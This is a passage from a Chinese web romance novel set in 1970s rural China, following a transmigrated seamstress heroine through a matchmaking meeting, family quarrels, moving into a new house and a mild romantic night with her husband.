说是不算机倒把,但布料加上配件,采购这几身衣裳的材料她挣个两块钱的差价轻轻松松,再加上大家带来的那些土特产抵作手工费,比下地挣工分可是多多了,还轻松好多! 果然有门技术傍身,走到天下都不怕呢! 周末。 吃过早饭,傅青山去接江建设。 男人脚程快,傅青山没多久就回来了,江建设今天换了身新衣裳,比那天在工地上看着更精神了,一进门就主动跟她打招呼:“嫂子好!” 爽朗阳光。 谢晚棠笑着把未来大佬迎进来:“建设来了,快进来,玉秀一会儿就来。” 江建设大大方方地哎了声,和傅青山一起进了当门,谢晚棠早就冲好了茶水,一边给他倒茶,一边让他上炕坐。 江建设赶紧从她手里接过茶壶,“嫂子我来,您别忙活了。” 说着熟练地给傅青山和她一人倒了一杯,最后才给自己倒上。 谢晚棠坐在傅青山身边仔细打量着,勤快又有礼数,干得熟练,一看就是常干,在家肯定不是娇生惯养的。 不错不错。 说话的工夫,听着门响,谢晚棠回头透过窗棂一看,“玉秀来了。” 大嫂何春月和二嫂林霜一块陪着玉秀来的。 谢晚棠出去迎,今天玉秀穿了那件粉色布拉吉,她本就白,粉色趁她的肤色,像含苞待放的花骨朵一样清纯。 加上因为第一次相亲有点害羞,白皙的脸颊微微泛着红,更透着一股娇嫩可爱。 江建设跟着谢晚棠出来迎,两人面对面对上视线的那一刻,世界仿若静止了,他们眼里只剩下彼此。 谢晚棠在一旁偷偷打量,江建设的耳朵尖一点点泛红,连社牛大佬都会脸红,这可能就是一见钟情的力量吧! 傅大嫂和老三媳妇搬着菜说说笑笑的从连廊过来,暂时打破了两人之间的暧昧气氛。 江建设回过神来,先打招呼:“玉秀同志你好,我叫江建设。” 玉秀点头:“你好,我叫傅玉秀。” 谢晚棠看两人被这么多人看着也不好意思说话,笑道:“玉秀和建设两人去屋里说说话吧。” 待两人进了炕间,谢晚棠给两人带上门,一出来老三媳妇就压低声音问她:“那个俊秀的青年是谁啊?” 谢晚棠:“给我们家盖房子的一个工程队小学徒,觉得人不错,就介绍给玉秀看看。” 老三媳妇:“不错不错,看着真精神,跟玉秀很配!” 谢晚棠嘿嘿一笑:“是吧是吧,男帅女俊,看着就养眼!” 老三媳妇点头:“对!” 两人在屋里聊了半个多小时,出来的时候站在一起,看起来郎才女貌。 玉秀虽然害羞,但唇角带着笑意,一看就是聊得不错。 谢晚棠和老三媳妇交换了眼色,都感觉十有九九成了! 送走相亲的小年轻,骑车去镇上采购。 夏知青今天要回家一趟,没法借自行车,今天就两辆自行车,小刚和妞妞就没跟着一起,托二刚帮着买书,大刚要在工地帮忙,也不去了,也托二刚帮着买书。 谢晚棠和傅青山、兰兰、二刚,四个人刚好骑两辆自行车去镇上大采购。 路上谢晚棠跟傅青山聊起玉秀和江建设相亲的事,傅青山也说,感觉两人有戏。 二刚坐在傅青山的后座,嘿嘿一笑,好奇道:“爹,那你跟我娘也是相亲一下子就相中了?” 谢晚棠:“……” 二刚哥,你好会问哦! 谢晚棠偏头看了眼傅青山,傅青山不会撒谎,又不想告诉孩子两人一开始合约婚姻的事实,一时被问得也不知该怎么说。 谢晚棠替他解围:“我跟你爹没相亲。” 二刚更好奇了:“那怎么结婚了?” 谢晚棠笑:“你爹长得好看,我就喜欢好看的男人,所以就嫁给你爹咯。” 傅青山闻声看过来,说不出是个什么表情,谢晚棠憋着笑,她也不算纯胡诌哦,颜值也是她当初选择傅青山的一个重要原因。 二刚闻声眼睛瞪得老大,一回想娘今天给玉秀姑姑介绍的那个男的也好看,瞬间忧愁了:“那完蛋了,我长得没爹好看,以后不会娶不到媳妇了吧!” 傅青山:“……” 谢晚棠噗嗤一声笑了:“男大十八变,你才9岁,可能还没长开哦~” 一路说说笑笑很快就到了镇上,先去供销社买上松紧带和扣子。 她跟供销社的售货员都熟了,见她买得多,供销社自然是不可能讲价,但售货员从柜台底下拿出来一盒去年卖剩下的过时的扣子,问她要不要,要就送她了。 谢晚棠一看,虽然颜色乌漆嘛黑的不大好看,不过给家里的男孩子用一点问题没有,她笑着谢过售货员,都要着。 这些日子做大锅饭,家里的虾皮和豆瓣酱下得快,这两样也补充上。 又买了4包小麻花,回去给傅大嫂和老三媳妇一人一包,她们俩又出菜又出力的,帮了不少忙。 从供销社出去,去书店买上书,最后直奔黑市大采购。 除了给几个宣传队长做衣裳的几身布料需要挑颜色,剩下做床单被罩窗帘的布料,谢晚棠直接挑了两辊子耐脏的料子,整个都要了。 前几次谢晚棠买的布料就不少,卖布的大姨就给便宜了,这次一次的量比前边几次加起来都多,谢晚棠试着砍价,二刚也帮着她砍,大娘最后每尺布又给下了5分钱。 别人零买一尺彩色土布是两毛八,她买只需要两毛,白色做被里子的棉布还便宜两分,只要*一毛八,这价格比她之前估计的还要低! 棉花大娘带的不多,而且她们一会儿还得去买肉买蛋,今天也带不了那么多,就跟大娘讲好了量和价格,让傅青山明天下班来捎着。 买完布又去买上谢晚棠心心念念的鸭蛋,最后去买猪肉。 谢晚棠和傅青山一人推一辆车子,车上装得满满当当,支都不好支,到了地方兰兰主动道:“我去买肉。” 兰兰去敲门,开门的还是上次那个高高瘦瘦的帅学徒,兰兰抿唇:“你好,要4斤猪肉。” 学徒愣了下:“是你。” 兰兰唇角扬起一点弧度,轻轻点了点头。 兰兰给了钱,学徒进去秤好了包好递给她,兰兰仰头看他:“谢谢。” 学徒被她清澈透亮的眼睛看得一怔,半晌没说话,直到看人转身要走,着急地脱口而出:“我叫罗淮。” 突如其来的自我介绍,兰兰愣了下,随即绽开花儿一般的笑意:“我叫兰兰,赵兰兰。” 叫罗淮的少年点头:“我记住了。” 谢晚棠车子没停得那么近,远远地看着兰兰都拿着肉了,还在跟卖肉的小伙子说什么,转身回来的时候,嘴角也微微上扬,心情不错的样子。 谢晚棠感觉不对劲,但一想,兰兰虚岁才15,是她想多了吧。 嗐,外貌协会看着好看的男孩子就想给拉红线。 路上一人买了个烧饼垫了垫,下午回去的时候快三点了,到家把东西卸下来,谢晚棠让傅青山割下来两份1斤左右的肉,一会儿给大嫂和老三媳妇送过去。 傅青山一拿起来肉,就微微皱眉,谢晚棠过来:“怎么,少秤了?” 傅青山摇头:“不是,这份量,不止4斤,至少得有5斤了。” 谢晚棠“啊”了声,也拎起来试,“确实是比之前买的3斤的沉不少,按理来说多1斤不该重这么多,不过多着总比少着好。” 傅青山点了点头,开始切肉。 兰兰在一旁卸东西听着,闻声心里一动。 切好了肉,又拿了两包小麻花,打发二刚给大嫂和老三媳妇送过去。 二刚送完东西刚回来,傅青宁气冲冲地找过来,一见着傅青山就叉着腰一副理直气壮的样子质问道:“二哥,你给玉秀介绍对象不给我介绍?到底谁是你的亲妹妹!” 谢晚棠:“……” 真是无了个大语! 难道不是她先拒绝了不要的?还说人家江建设是个没文化的搬砖的,没出息。 现在居然又来倒打一耙!好大个B脸! 第60章 我想和二哥,不想和它。 傅青山这个人性子冷,话不多,不爱跟人争执,被傅青宁这样无理质问,也只是冷脸皱眉,并没有骂回去。 谢晚棠甚至想象不出来傅青山骂人是什么样子,从来没见他骂过孩子们,他这样的气场,只要冷下脸来,就已经达到效果,根本不需要开口骂,孩子们就会立马严肃起来自我反省。 但傅青宁显然不像孩子们那般自觉有教养,见傅青山不说话,更觉得自己有理有气势了:“二哥,你去把江建设给我要回来!” 谢晚棠可没有傅青山那样的忍耐力和好修养,而且她的男人,她自己都没欺负过,傅青宁凭什么! 谢晚棠嗤笑:“你不是嫌搬砖的没出息吗?你二哥可是先问了你,你不要我才介绍给玉秀的,怎么着,相亲这种事还兴多吃多占的?” 傅青宁一听是她介绍给玉秀的,炮筒子一下子调转向她:“谢晚棠!原来是你!我就说我二哥不会胳膊肘往外拐!你这个贱人!就是见不得我好!” 傅青宁这声贱人一出,谢晚棠还没来得及说话,兰兰从当门里出来,冷脸朝傅青宁道:“小姑,你要是骂我们娘,以后我们家就不欢迎你来。” 二刚也冲过来:“小姑,你再骂娘,就滚出我们家!” 小刚和妞妞也气冲冲的挡在她面前:“不准骂娘!” 谢晚棠没想到孩子们已经会为她出头维护她了,心里暖呼呼的。 傅青宁不敢动她,抬手就要打几个小的,谢晚棠像老母鸡护崽一样,一把把几个孩子揽进怀里,“傅青宁!我看你敢!” 傅青宁见她哥不说话,胆子一下子更大了,蛮横道:“我是长辈!教训无礼小辈我有什么不敢的?!” 说着抬手就要打二刚,手还没轮到二刚面前,就被傅青山一把攥住手腕。 傅青山手劲大,又没收劲,傅青宁被攥得止不住哀嚎,嚎得傅老汉、傅老太、傅大嫂和老三媳妇都过来了。 傅老太也加入哀嚎的队伍,一边打傅青山,一边让他放开妹妹。 傅青山把傅青宁拉到一边才松开手,傅青宁靠在傅老太怀里,一看手腕通红一片,更加委屈:“二哥,我才是你亲妹妹!你怎么能为了一群没血缘的人这样对我!” 傅老太也跟着嚎:“你不光娶了媳妇忘了娘,你连你亲妹妹都忘了啊!” 母女俩矛头直指谢晚棠,傅大嫂和老三媳妇皱眉,走到谢晚棠身边,拍拍她肩膀。 傅老汉听着老婆闺女哭天喊地,哀怨地看了眼谢晚棠,又看向傅青山:“老二,你妹妹脾气是娇惯了点,你们当哥哥嫂子的让着她点就是了!弄得她哭成这样,传出去让人笑话,以后还怎么找婆家!” 谢晚棠一听傅老汉也来指责傅青山,真搞笑,刚要开炮,就听傅青山冷声道:“我当哥哥的可以让着她,但是她骂自己的嫂子是贱人,难道当嫂子的还得忍着让着她?!她是这个家的祖宗?几个嫂子都得由着她发脾气甩脸子?” 傅青山的话让傅大嫂和老三媳妇听了特舒坦,就是,她们又不欠傅青宁的,凭什么看她一天天那个死样子! 傅青山冷脸继续输出:“既然知道青宁被你们娇惯坏了,现在就该收敛,不然以后嫁出去到了婆家,也动辄就这么摔摔打打,张口闭口骂人,谁会这么惯着她?她以后的日子能过好了?” 傅青山平常话不多,傅老汉也没想到他会反驳,一时被噎得说不上话。 傅青山说完不再看傅老汉,转头看向傅青宁:“相对象不是买菜,可以来回挑挑拣拣,过去了就是过去了,没有后悔药,这件事以后不许再提!” 傅青宁委屈:“那我怎么办!” 傅青山皱眉:“天底下的男人不只有江建设一个!” 傅青宁吸吸鼻子:“二哥,那你必须保证再给我找一个比江建设更好看,更有出息的男人才行!” 她可听见三嫂跟三哥说了,二哥给玉秀介绍那个青年,好看俊俏得很!昨晚二哥跟她说的时候,可没说好看! 她从小什么都压玉秀一头,找对象这事,她绝对不能输给玉秀! 谢晚棠、傅大嫂、老三媳妇:“……” 谢晚棠无语是因为预知书中剧情,知道江建设后来是S省首富,整个S省都很难再有男人比江建设更有出息。 傅大嫂和老三媳妇无语是觉得,人家好看有出息的男人都是大傻逼,追着娶一个又懒又馋的丑泼妇回去? 傅青山也无语,半晌道:“我保证不了,我要是有这个本事,就不用上班了,早去天上当月老神仙了。” 傅青宁:“……” 傅青山又教育了两句以后要脚踏实地,不要好高骛远,就让傅青宁回去。 傅青宁走的时候看了一眼车筐里的小麻花,舔了舔嘴唇:“二刚给大嫂三嫂都送了小麻花,我和爹娘怎么没有?” 傅青山神色不变:“她们天天来帮着你二嫂干多少活,你二嫂感激,愿意给她们送,你呢?你帮你二嫂干什么了?” 傅青宁没讨着东西还要停训,哼了声走了。 傅老汉当着三个儿媳妇的面被儿子训了觉得没有脸,麻溜也走了。 傅老太盯着那车筐里的小麻花看了好一会儿,见老二没有一点要给的意思,也叹了口气走了。 傅青山帮着把沉的布料扛进去就去工地了,傅大嫂和老三媳妇帮着谢晚棠归置。 傅大嫂怕谢晚棠想不开,开导她:“有老二护着你,估计她以后也不敢来叨叨你。” 老三媳妇叹了口气:“快把她嫁出去吧,二哥说得好,在家里真跟个祖宗似的,她也是欺软怕硬,知道我不好惹,大嫂脾气好,分了家天天还狠哒大嫂呢。” 傅大嫂虽说是分了家,但是还得在一个当门刷碗做饭的,真是天天低头不见抬头见,比她和老三媳妇都遭罪。 谢晚棠想想那样的日子就头大:“等我们搬走了,大嫂你搬我们这边来住吧,省得天天见着那娘俩生气。” 傅大嫂高兴坏了,不知道该怎么感谢谢晚棠才好,晚上包的热乎肉包子,给谢晚棠送过来一大盆。 赶在入秋天凉前,谢晚棠把六身秋装做好,几个宣传队长的让郭燕捎去,老三媳妇来做饭的时候让她现场试。 老三媳妇试过满意得不得了,干活的时候怕弄脏了不舍得穿,吃过晚饭去王寡妇家闲拉家常就穿上了。 王寡妇眼尖,一眼就看出来她穿了新衣裳,一边摸一边夸:“怪不得都说人是衣裳马是鞍,这新衣裳就是好看,人都精神了!” 老三媳妇开心,拉着王寡妇美滋滋地夸谢晚棠:“好看吧!俺二嫂给我做的,俺二嫂手可巧了,眼光也好,她做的衣裳跟别人就是不一样!邻村那些宣传队长妇女主任都来找她给做衣裳呢!” 这些日子帮着谢晚棠做饭,相处多了,老三媳妇越发喜欢起这位年纪比她还小的二嫂来。 别看谢晚棠做家务笨得她都着急,做衣裳可是手巧得很! 而且相处久了就会发现她其实性格也很好,总能看到身边人的优点然后毫不吝啬地夸夸夸,那天她看谢晚棠忙,就帮着缝了缝扣子,谢晚棠就夸她缝得又麻利又好,夸得她都不好意思了。 而且一点都不吝啬,别人送来的、还有二哥买回来的好东西,谢晚棠都会想着她和大嫂,谢晚棠属于那种你帮了她一点,她会十倍回你的性格。 这个把月,她着实跟着谢晚棠沾了不少光。 王寡妇羡慕得不行,老三媳妇鼓动她:“你也可以去找俺二嫂做,俺二嫂家招待那些工程队干活的,缺菜,你家自留地那么多菜也吃不了,给俺二嫂送点菜当辛苦钱就成,而且俺二嫂买回来好多布,你都不用自己跑去买布了,直接从她那儿买点用就行,她买的多,比咱自己去买还便宜呢!” 王寡妇听老三媳妇这么一说,哪能不心动,但是有点犹豫:“哎,俺这个破嘴,之前得罪过你二嫂,她估计不愿意待见俺吧。” 老三媳妇嗐了声:“俺二嫂不是那样的人,明天头晌俺领你去。” 王寡妇高兴:“好!” 翌日一早,王寡妇去自留地摘了一大袋子菠菜来找老三媳妇,让老三媳妇带着她去找谢晚棠。 谢晚棠正在家研究着用白色的软棉布做个内衣穿,这个年代的肚兜她实在是穿不习惯,总觉得没有安全感。 不过内衣她以前没设计过,只能一点点摸索。 见老三媳妇领着王寡妇过来,谢晚棠有点惊讶,放下手里的活:“王姐有事?” 老三媳妇把王寡妇的来意说了,王寡妇也跟着不好意思道:“晚棠,我这嘴碎,以前我还说你们家青山不行,都是我这个破嘴,坏了青山的名声,青山跟你结了婚明明就很行!” 谢晚棠:“……” 怎么说是要来做衣裳的,聊着聊着又聊到行不行上了??? 谢晚棠礼貌微笑:“没事。” 王寡妇拍胸脯:“不过晚棠你放心,后来我都给青山正名了的!现在村里的妇女都知道你过得很幸福!炕上炕下都幸福!” 谢晚棠:“……” 一个郭燕、一个老三媳妇、现在又来一个王寡妇,70年代的农村妇女这么奔放的嘛!!! 谢晚棠轻咳一声,赶紧把布料抱过来:“谢谢王姐,那你快挑布料吧!” 王寡妇跟老三媳妇对视一眼,谢晚棠都让她挑布料了,那就是不计前嫌了,她高兴地去当门放下菠菜,出去洗了手进来挑布料。 王寡妇挑布料的时候,老三媳妇拿起炕上谢晚棠裁到一半的白色小布料打量:“二嫂,这是什么啊?” 谢晚棠解释要做个内衣,内衣这个词可能太时髦,老三媳妇想了想:“就是奈子罩?” 谢晚棠:“……” 救救我救救我! 这个张口就**涩情的年代啊! 谢晚棠扶额:“算是吧……” 老三媳妇拿着这小小布料看了看,不太明白怎么用,“这么小,这能罩住了?” 已经做到半成品了,谢晚棠隔着外衣给她演示了一下穿法,老三媳妇眼睛一下子亮了:“这么拖着,奈子就不容易下垂了!” 谢晚棠抿唇:“对,有托胸的作用。” 老三媳妇瞬间来了兴致:“二嫂,等着能给我也做件吗?你还没生过孩子不知道,喂完奶,奈子可容易下垂了,奈子一耷拉,穿衣裳一点都不好看!” 谢晚棠感觉自己的耳朵简直都要麻了,赶紧点头:“好好好!” 王寡妇挑好了布料,凑过来一看:“晚棠,我也想做个奈子罩,我奈子也耷拉!” 谢晚棠感觉脑仁都要爆炸了,点头表示没问题,赶紧拉着王寡妇量尺聊外衣款式,转移掉这个用词炸裂的话题! 给王寡妇量完尺,王寡妇给了钱,谢晚棠看了眼当门里那一大袋子菜,对王寡妇道:“姐,以后你和孩子需要做衣服就来,不用带东西过来。” 老三媳妇说那些宣传队长带来的东西谢晚棠都收了,不收她的,王寡妇自然知道谢晚棠是照顾她是个寡妇,觉得她一个人带俩孩子不容易。 她男人是烈士,她一个人带着两个儿子是不容易,但政府每个月都给她补贴,虽然辛苦点,但钱上她不缺。 王寡妇坚持:“那不行,一码归一码,你做衣裳也耽误工夫!” 从这件小事上,谢晚棠能看出来王寡妇虽然嘴碎,但是个很有原则的人,怪不得之前妇女主任刘秀香跟她说,王寡妇心不坏,就是坏事坏了个嘴上。 谢晚棠也不是个爱墨迹的人,王寡妇坚持,她也不推辞,笑道:“行,那就谢谢王姐的菜了,家里正缺呢。” 至于内衣,谢晚棠还没研究好,需要一点时间修改调整,跟王寡妇和老三媳妇约好等成型了,再让她们来量尺寸。 王寡妇一听,惊讶:“做个小奈子罩还要量尺寸啊?” 老三媳妇嗐了声:“那当然啊,奈子也有大小啊,俺二嫂这没生养过的小奈子,能跟咱的一样大啊!” 谢晚棠:啊啊啊啊啊!!! 这群老司机怎么张口就来啊!她简直一点防备都没有! 王寡妇闻声笑着看她肚子:“晚棠,还没动静?” 谢晚棠抿唇摇头,感觉王寡妇下一句就要催生! 王寡妇笑道:“没事,不急。” 谢晚棠长舒一口气,赶紧点头:“嗯。” 王寡妇摸摸她平坦的小腹:“青山体格那么好,没准一下来个双棒呢!” 谢晚棠:“……” 好好好,这更狠,直接催到双胞胎了…… 谢晚棠苦笑:“顺其自然吧。” 傅青山给了工程队一些加班费,工程队起早贪黑地干,刚转凉入秋,框架就起来了。 王寡妇主动帮着召集了一帮妇女去帮着谢晚棠绑把子,妇女们一起干活的时候闲聊,王寡妇穿着谢晚棠给做的新衣裳,帮着谢晚棠好一波宣传。 上梁这天,傅青山买回来两个猪脸,不光招待了工人,连带着这些日子帮忙绑把子的妇女们也带着家里的孩子来开了一顿荤。 上完梁,谢晚棠在家赶新房的窗帘床单被罩,还接了一波村里社员的单,都是听了王寡妇的强力推荐来的,又完成了一小波投机倒把。 入冬前新房就完工了,搬家这天,傅青山找了辆驴车来,早晨4点半天还没亮,就和大刚一车一车往新房拉,兰兰和二刚在旧家里打包,谢晚棠带着两个小的在新家归置。 谢晚棠第一次起这么早,却一点都不觉得累,看着亮堂堂的新家,日子越来越好,只觉得胸中有一股用不完的能量。 最后一车拉来的时候,兰兰和二刚跟着一道过来,端来了两大盘谢晚棠委托傅大嫂和老三媳妇帮忙包的大葱肉馅的白面饺子。 搬家得有个开锅仪式,吉时在新家用新锅开火,做一顿饭吃了,寓意好兆头。 傅青山找人查的时间,6点58,大刚准时引火,等大锅里的水烧开,傅青山把饺子下进去,傅大嫂和老三媳妇包的饺子胖嘟嘟的,飘起来的时候看着像一个个的小福袋。 吃过香喷喷的开锅饺子,傅青山去上班,二刚去上学,谢晚棠带着四个孩子在家大扫除。 开始干活前,谢晚棠开了个小会:“我们先收拾各自的小炕间,怎么安排布局自己定,缺什么东西记下来,等过些日子大集咱们一块去买上。” “好!” 上午收拾完三个小炕间和当门,大刚用大扫帚打扫了院子,谢晚棠叉腰站在当门前,看着目前还光秃秃的院子,就差菜和花了,菜等着去大集上买点种子,花等着开春了慢慢挑好看的移栽吧! 下午兰兰蒸了一锅白面馒头,晚上傅青山下班回来带回来的猪肉、排骨和猪大肠,炖了个排骨芋头,蒸了个虾米鸡蛋羹,辣椒炒大肠,菠菜粉条炒肉丝。 晚上不像早晨那样赶时间,四个荤菜配白面馒头,小日子必须板板正正。 谢晚棠给三个小的熬了冰糖雪梨当小甜水饮料,她和傅青山还有两个大的则喝的是之前别人找她做衣服送来的一瓶自酿果酒。 傅青山看着倒在茶杯里的酒,犹豫了下,看向谢晚棠。 结婚那天他喝多了,差点弄伤了她,跟她说过以后不会再碰酒。 谢晚棠笑笑:“今天可以破例一次!” 一家人围坐在主卧的大炕上,一起碰杯:“新生活快乐!” 谢晚棠今晚开心,果酒又爽口,感觉没什么酒味,就多喝了几杯,喝完才发觉,这果酒就像葡萄酒一样,后劲大,整个人晕乎乎轻飘飘的,明明快入冬了,却感觉浑身发热,洗脚的时候,烫人的洗脚水更是从脚底往上注入一股难耐的燥热。 傅青山出去倒完水回来,就看到谢晚棠坐在炕上,皱着眉头在解胸口的扣子,因为手使不上劲,半天解不开,听到他进来,闻声抬头,像冬日雪地里红着眼睛的委屈小猫,轻声向他求助:“帮帮我。” 傅青山虽然破例,但只喝了一杯,并无醉意,可看到谢晚棠扯着衣襟请求他帮她解开,瞬间感觉喉头发紧,如喝醉一般全身涌动着热流。 许是看他不动,以为他不想帮忙,谢晚棠更加委屈:“二哥……帮帮我,我解不开。” 傅青山喉结滚动,不顾三个刚那间还在玩闹的动静,关上门反锁,转过身来,走到谢晚棠面前。 谢晚棠坐着,如仰望神灵一般仰视着他,他深吸一口气,抬手搭上谢晚棠的指尖,解开她指尖下攥到温热的扣子。 这副美丽的身体如同一本精妙绝伦的好书,纵使他已翻阅过多次,逐字逐句地反复品味过,再次打开时,仍旧那样强烈地吸引着他。 过往,他只能在深夜,伴着月色去体味书中的美妙。 当他第一次有机会在明黄的烛光下翻开这本书时,才发现其中最精美迷人之处,只要看过一眼,便沉迷其中,欲罢不能,不能自控地疯狂地去探索、去汲取…… 四周一切的声音在这一刻都消失了,他只能听到自己胸腔的剧烈跳动,好似有什么要冲出来。 指尖下的温度越来越烫人,烫得他的手指颤抖,看谢晚棠的眼神逐渐变深。 他再也克制不住,伸手去拿炕边早就备好的小东西,谢晚棠柔若无骨的手搭上他的肩膀,红着眼睛如迷途的小兔子一般朝他摇头:“二哥,不用那个。” 他怔了下:“为什么?” 谢晚棠看起来似醉非醉,搂着他的脖子贴近他耳朵,声音黏黏糊糊如撒娇:“我想和二哥,不想和它。” 60-70 第61章 二哥,我要你,现在。 谢晚棠一双杏眸似水,柔情地凝望着他,长睫扑闪了下,黑色的睫毛轻轻颤动,连带着他的心也跟着颤了下。 身下微醉的人儿脸颊白里透着粉,如最娇嫩的花儿,惹人爱怜。 说话时温热的呼吸喷在他鼻息间,有一股甜甜的果酒味,像是最清新诱人的甘甜浆果,让他忍不住想把她吃掉。 傅青山压住心底那蠢蠢欲动的野兽,强撑着最后一丝理智,指尖颤抖,抚上她泛红湿润的眼角,如抚摸最珍贵的人间美玉:“乖,不戴会怀孕。” 美人莞尔一笑,粉唇微启:“不会的,二哥。” 她的眼睛清透明亮,如一汪清泉,那样干净,让人不忍亵渎,却又无法拒绝。 傅青山深吸一口气,感觉心底躁动的野兽几乎要压制不住,耐心温柔地哄着因为微醺而执拗的人儿,声音低沉微哑:“有可能会。” 谢晚棠头有点晕乎乎轻飘飘的,但还没有到烂醉的地步,那句“你又没有精子”临到嘴边就要脱口而出的时候,她突然清醒了一点,凝视着面前剑眉星目的英俊男人,撒娇道:“哪会那么巧。” 傅青山闻声皱眉,他自知是个刻板的人,不喜欢不确定,更不愿最爱的人身上去赌。 谢晚棠说过不想生孩子,他便不想让这种意外有发生的机会。 谢晚棠全身燥热难耐,看傅青山还在皱眉犹豫,她指尖用力勾着他的脖颈将他拉近,直到他坚硬炙热的胸膛贴上她的,极近的距离,她虔诚地仰望着此刻唯一可以解救她的神灵,“如果真的那么巧,那我愿意生下她,像爱你一样的爱她。” 谢晚棠说过不想生孩子,却唯独愿意为了他承受那些生育伤害,生下一个他的孩子,他们的孩子。 傅青山不执念有一个自己亲生的孩子,但谢晚棠的话如最深情的告白,一字一句都撞击着他的心脏。 谢晚棠覆到他耳边,烫人的气音撩拨着他的耳膜,蛊惑道:“二哥,我要你,现在。” 最后一道理智的城墙彻底崩塌,被压制的野兽终于失去钢铁般的禁锢,在那强大惊人的力量下,谢晚棠胸口最后两颗扣子被他扯飞,弹到樟木箱上又重重地摔下去,在炕前骨碌骨碌转了好几圈才停下来,可怜地躺在昏暗的角落,只能静静聆听主人在爱情里沉沦。 狩到垂涎已久的猎物的那一刻,兽性的基因彻底觉醒,傅青山全身的血液疯狂地涌动,无法自控地陷入极尽的疯狂…… 夜很长,无人打扰,独属于他们。 …… 谢晚棠窝在被窝里,深秋早晚有点凉,她无意识地往身旁暖烘烘的热源靠,暖暖的很舒服,像一个人工控温的大暖炉,整个人贴上去抱住,舒服得蹭了蹭。 后脖颈被不轻不重地摩挲着,如同撸猫一般的手法,摸得她忍不住哼哼了两声,迷蒙地睁开眼睛,抬眸就看到傅青山单手搂着她,也在垂眸看她,一双黑眸明亮专注。 反应过来他们搬了新家,她才能在傅青山的怀里热乎乎地醒来,心里如蜜般甜甜地化开,懒洋洋地对傅青山笑道:“早,二哥。” 出口就被自己沙哑的声音吓到! 至于她的嗓音怎么变成这样…… 都是被傅青山弄得! 眼前如过电影般闪过一连串的画面…… 昨晚,傅青山展现出野兽般原始的疯狂和野性,他们一直到鸡鸣,傅青山才长舒一口气,紧紧地握着她的指腹,低声喃喃,对她告白:“我爱你。” “棠棠,我爱你。” 低醇浑厚的声音犹如大提琴般低低飘入她耳中,连带着她的心脏也跟着颤了下。 或许是没有孩子们打扰,也或许是他们太过于肆意疯狂,总之,傅青山暂时战胜了病魔。 但即使她说愿意为他生孩子,傅青山也没有弄到她身体里。 傅青山可能以为这样就可以避孕吧,但她生活在21世纪,网络信息发达,这方面比傅青山懂得多,自然知道体外并不能完全避孕。 不过傅青山这个情况和一般正常男人不一样,她感觉对他们而言,可能体外就已足够达到避孕的要求了。 而且傅青山能谨慎地做到这些,她已经很知足,起码说明他心里真的很在意她。 因为如果昨晚那些劣质的精子如果真的都进去了,还有一两个恰巧意外让她怀孕了,以后流产受罪的还是她。 虽然了解过很多生育伤害后没那么想生孩子,但她昨晚燥郁难耐时对傅青山说那些话也不都是敷衍。 如果是傅青山的孩子,她真的愿意生下来,爱她,珍惜她,保护她,像傅青山保护她一样。 只可惜,他们永远不会有孩子。 傅青山搂着她的那只手,指腹轻轻摩挲着她的脖颈:“棠棠,在想什么?” 傅青山是侦察兵出身,观察周边一切事物是他的本能,他刚才清清楚楚地看到谢晚棠的表情从欣喜到惋惜的变化。 傅青山皱眉。 是什么让她难过不开心? 谢晚棠闻声回过神来,看傅青山微皱的眉头,抬手给他轻轻抚平,不想在傅青山面前表现出来这些情绪,怕傅青山敏感自卑多疑,扬起唇角笑道:“没想什么!几点了?二哥。” 新做的门窗和窗帘都厚实,隔绝了声音,只有窗帘边角的缝隙处有一点点光线透进来,他们窝在这里,仿佛在世外桃源一般惬意。 她的手表昨晚被傅青山摘了,准确是说,昨晚她身上所有的东西都被傅青山摘了…… 一想到这,她突然想起来! 昨晚最后累得手指都不想动,清洗完钻进被窝就睡了,连穿衣裳的力气都没有。 所以现在这床大被下面,他们俩都…… 怪不得热乎又舒服…… 傅青山抬手拿过窗台上的手表看了眼:“6点半。” 谢晚棠看着最远的炕角那儿自己的白色内衣内裤,抿唇看他:“你今天不跑步?” 傅青山每天都有早起晨跑的习惯,5点起床,跑到6点,洗漱完开始做饭,等她7点起来的时候,饭刚好做好,她洗漱完吃的时候温度都刚刚好。 傅青山摸摸她头:“今天陪你,不跑了。” 谢晚棠:“……” 虽然两人更亲密的事都做过了,但那毕竟是晚上,晚上好像就是该那样的才对。 谢晚棠还是不太习惯白天这样,心理挣扎了一会儿,深吸一口气,仰头对傅青山道:“你能帮忙我衣裳拿过来吗……” 傅青山从被窝里出去的时候,谢晚棠下意识抬手捂住眼睛,一直到傅青山把柔软的布料塞到她手里,清凌的声音如冬日山间泉水,在她耳畔响起:“我们是夫妻,你还不好意思看?” 谢晚棠:“……” 这个年代不光妇女开放,就连高冷大佬都这么开放,竟然主动邀请她看他的身体…… 谢晚棠轻咳一声接过来,闭着眼睛缩进被窝里摸索着边穿衣服边道:“晚上再看……” 傅青山看着被子里鼓起来的小蘑菇,低笑:“好,晚上再看。” 谢晚棠:啊啊啊啊! 哥,这个话你可以不用回答啊! 谢晚棠穿好衣服从被子里探出脑袋,用被子盖住眼睛,先问道:“你穿好裤子了吗?” 因为职业性质的原因,她虽然看过不少美男的身体,但都是有底线的欣赏哦,太直接的冲击她一时还不太能适应。 傅青山:“嗯。” 谢晚棠长舒一口气,闻声睁开眼睛,看到傅青山不止穿好了裤子,衬衣腰带都板板正正地扎好了,又恢复到了平日高冷禁欲的傅部长,根本看不出来刚才还邀请过她看他的身体…… 他们起的晚,兰兰已经把早饭做好了。 一人一大碗厚厚的小米粥,咸鸭蛋,还用菠菜炒了个肉丝。 谢晚棠有点不好意思,以前在家爸爸妈妈照顾她,穿书过来结了婚傅青山照顾她,现在比她还小的兰兰也能照顾她。 她跟兰兰说以后也要早起帮着做饭,兰兰却笑道:“那您还不如早起跟着爹晨跑。” 谢晚棠……?? 兰兰笑道:“晨跑能锻炼身体,做饭可是会受伤哦!” 谢晚棠:“……” 大刚从外边进来,只听了个一半:“娘也要一起晨跑了?” 谢晚棠:“……” 看傅青山笑,谢晚棠赶紧转移这个危险的话题:“吃饭吃饭!咸鸭蛋要凉了!” 妞妞奇怪:“娘,咸鸭蛋本身就是凉的啊。” 谢晚棠:“……说错了,是小米粥……” 终于熬到开饭,不再聊晨跑这个话题,谢晚棠长舒一口气,就听二刚道:“娘,你昨天搬家累着了?” 二刚话落,几个孩子都看过来。 谢晚棠不明所以:“还,还好?” 二刚转头看向傅青山,小眼神有点哀怨,叹了口气:“爹啊,你以后给娘按肩膀的时候收着点劲,你是不是不知道你那双大铁手有多狠啊,按得娘一直喊一直喊,我听着都替娘疼!怜香惜玉啊爹!” 谢晚棠……?? 谢晚棠:“……” 第62章 怎么突然就吻上来了?门没关啊! 